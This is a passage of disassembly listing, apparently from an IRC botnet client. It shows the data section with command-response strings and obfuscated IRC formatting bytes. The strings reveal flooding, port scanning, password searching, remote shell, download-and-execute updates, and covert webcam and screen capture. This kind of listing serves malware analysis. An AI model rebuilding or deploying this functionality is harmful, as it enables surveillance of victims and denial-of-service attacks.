		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
dword_430100	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_43014C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_430198	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_4301E0	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_430228	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_430254	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_4302A0	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_4302D8	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_43031C	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_430394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4303C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_4303F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_430428	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_430450	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_43048C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_4304C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_4304F8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o
					; sub_40EE72:loc_414B4Co
		align 4
dword_430544	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_430578	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_4305BC	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_4305F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_43062C	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_430664	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_430690	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_4306D0	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_430704	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_430748	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 10h
dword_430780	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_4307AC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 10h
dword_4307E0	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_430804	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_430850	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_430878	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4308A4	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_4308D0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_4308F8	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_430934	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_430964	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_430998	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_4309E4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_430A34	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
		align 4
dword_430A78	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_430AC0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_430B04	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_430B48	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_430B7C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_430BB8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_430C00	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_430C3C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 10h
dword_430C80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_430CA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_430CE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_430D1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_430D48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_430D74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_430DA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_430DC4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E78o
dword_430DD0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_430E08	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_430E34	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_430E60	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_430E68	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_430E94	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_430E9C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_430EA8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_430EB0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_430EF4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_430F24	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_430F48	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_430F58	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_430FAC	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_430FF8	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 10h
dword_431040	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_431068	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_43109C	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_4310E8	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_431128	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_431144	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_431178	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_4311C0	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431208	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_431244	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_43128C	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_4312CC	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431314	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_431354	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43139C	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_4313D8	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_431428	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_431464	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_4314B8	db    2			; DATA XREF: sub_40EE72+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_431504	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
